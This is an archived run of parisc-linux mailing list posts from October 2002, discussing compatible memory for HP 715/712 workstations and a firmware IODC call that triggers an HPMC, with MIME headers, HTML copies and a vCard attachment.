	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16441

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C27072.90AA55A0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Grant Grundler [mailto:grundler@dsl2.external.hp.com]
> Sent: donderdag 10 oktober 2002 17:28
> To: Derek Engelhaupt
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Which Memory to use on a 715/80? 
> 
> 
> Derek Engelhaupt wrote:
> > Well, don't think any other manufacturer made memory for the 715
> > series.  I have looked at Dataram and others, but they only seem to
> > have memory for the D,K,N,L, and A class servers.
> 
> I thought Kingston *did* (maybe no more).

I recal by head (and might be wrong) to have used pc-based memory modules in
a 712/80. There was something with parity (it needs it or it hates it, don't
know).

Try what the bootloader says if you fit it with pc-based memory modules,
that have the same physical lay-out. (edo-ram is a term that comes to mind,
try it or it's predecessor).

I might be totaly wrong here, in those days (a former job) I was using both
SunSparc stations and HP 712 machines.

I don't give any guaranties....

Success

CBee

------_=_NextPart_001_01C27072.90AA55A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Which Memory to use on a 715/80? </TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Grant Grundler [<A =
HREF=3D"mailto:grundler@dsl2.external.hp.com">mailto:grundler@dsl2.exter=
nal.hp.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: donderdag 10 oktober 2002 17:28</FONT>
<BR><FONT SIZE=3D2>&gt; To: Derek Engelhaupt</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [parisc-linux] Which Memory to use =
on a 715/80? </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Derek Engelhaupt wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Well, don't think any other manufacturer =
made memory for the 715</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; series.&nbsp; I have looked at Dataram and =
others, but they only seem to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; have memory for the D,K,N,L, and A class =
servers.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I thought Kingston *did* (maybe no =
more).</FONT>
</P>

<P><FONT SIZE=3D2>I recal by head (and might be wrong) to have used =
pc-based memory modules in a 712/80. There was something with parity =
(it needs it or it hates it, don't know).</FONT></P>

<P><FONT SIZE=3D2>Try what the bootloader says if you fit it with =
pc-based memory modules, that have the same physical lay-out. (edo-ram =
is a term that comes to mind, try it or it's predecessor).</FONT></P>

<P><FONT SIZE=3D2>I might be totaly wrong here, in those days (a former =
job) I was using both SunSparc stations and HP 712 machines.</FONT>
</P>

<P><FONT SIZE=3D2>I don't give any guaranties....</FONT>
</P>

<P><FONT SIZE=3D2>Success</FONT>
</P>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C27072.90AA55A0--


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPMC while doing iodc INIT_MOD
Date: Thu, 10 Oct 2002 17:29:34 +0200
Organization: H.P
Lines: 40
Approved: news@gmane.org
Message-ID: <3DA59CDE.AA99ACE1@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------1B2F5D8E17EFF6B9026E5E74"
X-Trace: ger.gmane.org 1416621815 15529 80.91.229.3 (22 Nov 2014 02:03:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:35 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 09:36:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B8014829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 09:36:40 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id BD65540D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 17:36:36 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA02215 for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 17:34:54 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16442

This is a multi-part message in MIME format.
--------------1B2F5D8E17EFF6B9026E5E74
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	hi
i'm still stuck with this *#! iodc call. I've cross check 
by using a dump of a A class, for layer[6] (btw unused layer 
are set to 0, not -1)hpa,mod,spa are all right. So I'm still
looking for any idea... I've a new track:

-I've read that while doing iodc INIT it can produce interrupt.
but interruption are not disable in my case, so do you think I need to
disable all interruption, and how ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------1B2F5D8E17EFF6B9026E5E74
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------1B2F5D8E17EFF6B9026E5E74--



From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPMC while doing iodc INIT_MOD
Date: Thu, 10 Oct 2002 09:52:12 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20021010155212.E5F2D4829@dsl2.external.hp.com>
References: <3DA59CDE.AA99ACE1@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621815 15537 80.91.229.3 (22 Nov 2014 02:03:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:35 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 09:52:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E5F2D4829; Thu, 10 Oct 2002 09:52:12 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Thu, 10 Oct 2002 17:29:34 +0200." <3DA59CDE.AA99ACE1@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16443

Bruno Vidal wrote:
> I've read that while doing iodc INIT it can produce interrupt.
> but interruption are not disable in my case, so do you think I need to
> disable all interruption, and how ?

While IODC doesn't *use* interrupts (it polls), I guess IODC could
generate interrupts.  Normally I'd expect the IO_RESET_AND_CLEAR to
reset all IOSAPICs and thus disable IO interrupts.

I'm also wondering how this would work on an SMP machine. We would
need to "capture" all the CPUs and set the EIEM in each one.

You probably want to see how HPUX is handling this instead of
"re-inventing" it.

Can you make a patch available that we can review?
I'm happy to host that on gsyprf10 thought ftp.p-l.o/patches
would be the "right" place.

thanks,
grant


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@smilehouse.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Thu, 10 Oct 2002 19:23:17 +0300
Lines: 44
Approved: news@gmane.org
Message-ID: <20021010192305.G37854@azrael.smilehouse.com>
References: <02Oct10.174726cest.119043@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621816 15544 80.91.229.3 (22 Nov 2014 02:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:36 +0000 (UTC)
Cc: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 10:23:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 194704829
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 10:23:51 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.235.104])
          by fep01-app.kolumbus.fi with ESMTP
          id <20021010162344.FMSL4680.fep01-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@parisc-linux.org>;
          Thu, 10 Oct 2002 19:23:44 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id TAA42352
	for parisc-linux@parisc-linux.org; Thu, 10 Oct 2002 19:23:18 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@smilehouse.com using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <02Oct10.174726cest.119043@ns.hiscom.nl>; from c.beerse@torex-hiscom.nl on Thu, Oct 10, 2002 at 05:34:47PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16444

On Thu, Oct 10, 2002 at 05:34:47PM +0200, "Beerse, Corn" wrote:
> > -----Original Message-----
> > From: Grant Grundler [mailto:grundler@dsl2.external.hp.com]
> > Derek Engelhaupt wrote:
> > > Well, don't think any other manufacturer made memory for the 715
> > > series.  I have looked at Dataram and others, but they only seem
> > > to have memory for the D,K,N,L, and A class servers.
> > I thought Kingston *did* (maybe no more).
> I recal by head (and might be wrong) to have used pc-based memory
> modules in a 712/80. There was something with parity (it needs it or
> it hates it, don't know).

You usually hear that HP uses similiar form but completely different
ram. But that's mostly on 715/735/800, maybe 712 was different. That
would be a pleasant surprise.
Mostly you always want parity. I would doubt anything explicitly
demanding no parity.

> Try what the bootloader says if you fit it with pc-based memory
> modules, that have the same physical lay-out. (edo-ram is a term that
> comes to mind, try it or it's predecessor).

EDO AFAIK never occurs together with ECC so that's the word to avoid
when looking for ram for older workstations ad servers.
36-bit FPM True-parity ECC SIMMs are what work in, for example, DEC
Alpha AXPpci, Multia, SGI Indy, Indigo, matching Challenges, IBM RS6000
7006 and other machines of the era and most(?) pc's. No kind of EDO ram
works.

> I might be totaly wrong here, in those days (a former job) I was using
> both SunSparc stations and HP 712 machines.

Sparcstations mostly use weird rams like JEDEC DIMM's apart from the
very old ones that use 36-pin simm's that seem regular.


This is what I remember. No guarantees either.

-- 
I used to herd dairy cows. Now I herd lusers. Apart from the isolation,
I think I preferred the cows. They were better conversation, easier to
milk, and if they annoyed me enough, I could shoot them and eat them.
		-- Rodger Donaldson 


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Thu, 10 Oct 2002 09:42:58 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20021010094258.B22402@zouave.sonic.net>
References: <02Oct10.174726cest.119043@ns.hiscom.nl> <20021010192305.G37854@azrael.smilehouse.com>
Reply-To: frankb@efball.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621816 15546 80.91.229.3 (22 Nov 2014 02:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:36 +0000 (UTC)
To: 'parisc-linux maillist' <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 10:43:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0D034829
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 10:43:02 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id 449E46822
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 09:42:59 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id 2456640; Thu, 10 Oct 2002 09:42:58 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021010192305.G37854@azrael.smilehouse.com>; from harri.haataja@smilehouse.com on Thu, Oct 10, 2002 at 07:23:17PM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16445

On Thu, Oct 10, 2002 at 07:23:17PM +0300, Harri Haataja wrote:
} On Thu, Oct 10, 2002 at 05:34:47PM +0200, "Beerse, Corn" wrote:
} > > -----Original Message-----
} > > From: Grant Grundler [mailto:grundlerOdsl2.external.hp.com]
} > > Derek Engelhaupt wrote:
} > > > Well, don't think any other manufacturer made memory for the 715
} > > > series.  I have looked at Dataram and others, but they only seem
} > > > to have memory for the D,K,N,L, and A class servers.
} > > I thought Kingston *did* (maybe no more).
} > I recal by head (and might be wrong) to have used pc-based memory
} > modules in a 712/80. There was something with parity (it needs it or
} > it hates it, don't know).
} 
} You usually hear that HP uses similiar form but completely different
} ram. But that's mostly on 715/735/800, maybe 712 was different. That
} would be a pleasant surprise.

715/725/745 and the 712 all use the same type memory.  The 730/735 used
another type, and the 755 used a unique type.

-- 

   E Frank Ball                frankb@efball.com


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "RIVERA,MAURICIO (HP-Chile,ex1)" <mauricio_rivera@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] register in list
Date: Thu, 10 Oct 2002 16:05:28 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <B11E1D6EB0D9D311B10600902740B8E205366B90@xatl07.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C270B1.863D1EB0"
X-Trace: ger.gmane.org 1416621816 15551 80.91.229.3 (22 Nov 2014 02:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:36 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 17:05:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEA864829
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 17:05:31 -0600 (MDT)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel13.hp.com (Postfix) with ESMTP id 246C44004C9
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 16:05:29 -0700 (PDT)
Original-Received: from xpabh3.ptp.hp.com (xpabh3.ptp.hp.com [15.1.28.63])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id 04C2A49
	for <parisc-linux@parisc-linux.org>; Thu, 10 Oct 2002 16:05:29 -0700 (PDT)
Original-Received: by xpabh3.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <44NJ4S1B>; Thu, 10 Oct 2002 16:05:28 -0700
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16446

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C270B1.863D1EB0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

=20
Mauricio Rivera Gonz=E1lez <?xml:namespace prefix =3D o ns =3D
"urn:schemas-microsoft-com:office:office" />

                   Customer Engineer

               HEWLETT PACKARD - CHILE

=20

------_=_NextPart_001_01C270B1.863D1EB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.3105.105" name=3DGENERATOR></HEAD>
<BODY>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>
<P class=3DMsoNormal=20
style=3D"MARGIN-LEFT: 0.5in; mso-margin-top-alt: auto; =
mso-margin-bottom-alt: auto"><FONT=20
size=3D1><SPAN=20
style=3D"COLOR: navy; FONT-FAMILY: 'Boink LET'; FONT-VARIANT: =
small-caps"><FONT=20
size=3D2>Mauricio Rivera Gonz=E1lez</FONT> </SPAN><SPAN=20
style=3D"COLOR: navy; FONT-FAMILY: 'Boink LET'; FONT-SIZE: 12pt; =
FONT-VARIANT: small-caps"><?xml:namespace=20
prefix =3D o ns =3D "urn:schemas-microsoft-com:office:office"=20
/><o:p></o:p></SPAN></FONT></P>
<P class=3DMsoNormal><SPAN=20
style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;</SPAN><SPAN style=3D"mso-spacerun: yes"> </SPAN><FONT =
size=3D1><SPAN=20
style=3D"COLOR: navy; FONT-FAMILY: 'Boink LET'; FONT-SIZE: 8pt; =
mso-bidi-font-size: 10.0pt">Customer=20
Engineer<o:p></o:p></SPAN></FONT></P>
<P class=3DMsoNormal><SPAN=20
style=3D"COLOR: navy; FONT-FAMILY: Arial; FONT-SIZE: 8pt; =
mso-bidi-font-size: 10.0pt; mso-bidi-font-family: 'Times New =
Roman'">&nbsp;</SPAN><SPAN=20
style=3D"COLOR: navy; FONT-FAMILY: Arial; FONT-SIZE: 8pt; =
mso-bidi-font-size: 10.0pt; mso-bidi-font-family: 'Times New =
Roman'"><SPAN=20
style=3D"mso-tab-count: =
1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;=20
</SPAN><FONT face=3D"Boink LET"><FONT size=3D2>HEWLETT PACKARD &#8211;=20
CHILE<o:p></o:p></FONT></FONT></SPAN></P></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C270B1.863D1EB0--


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-15?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Which Memory to use on a 715/80?
Date: Fri, 11 Oct 2002 09:52:28 +0200
Lines: 224
Approved: news@gmane.org
Message-ID: <02Oct11.100511cest.119048@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C270FB.257B1240"
X-Trace: ger.gmane.org 1416621816 15553 80.91.229.3 (22 Nov 2014 02:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:36 +0000 (UTC)
Cc: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
To: "'Harri Haataja'" <harri.haataja@smilehouse.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 01:52:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 764DF4829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 01:52:38 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119048>; Fri, 11 Oct 2002 10:05:11 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16447

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C270FB.257B1240
Content-Type: text/plain;
	charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

> -----Original Message-----
> From: Harri Haataja [mailto:harri.haataja@smilehouse.com]
>=20
> On Thu, Oct 10, 2002 at 05:34:47PM +0200, "Beerse, Corn=E9" wrote:
> > > -----Original Message-----
> > > From: Grant Grundler [mailto:grundler@dsl2.external.hp.com]
> > > Derek Engelhaupt wrote:
> > > > Well, don't think any other manufacturer made memory for the =
715
> > > > series.  I have looked at Dataram and others, but they only =
seem
> > > > to have memory for the D,K,N,L, and A class servers.
> > > I thought Kingston *did* (maybe no more).
> > I recal by head (and might be wrong) to have used pc-based memory
> > modules in a 712/80. There was something with parity (it needs it =
or
> > it hates it, don't know).
>=20
> You usually hear that HP uses similiar form but completely different
> ram. But that's mostly on 715/735/800, maybe 712 was different. That
> would be a pleasant surprise.
> Mostly you always want parity. I would doubt anything explicitly
> demanding no parity.

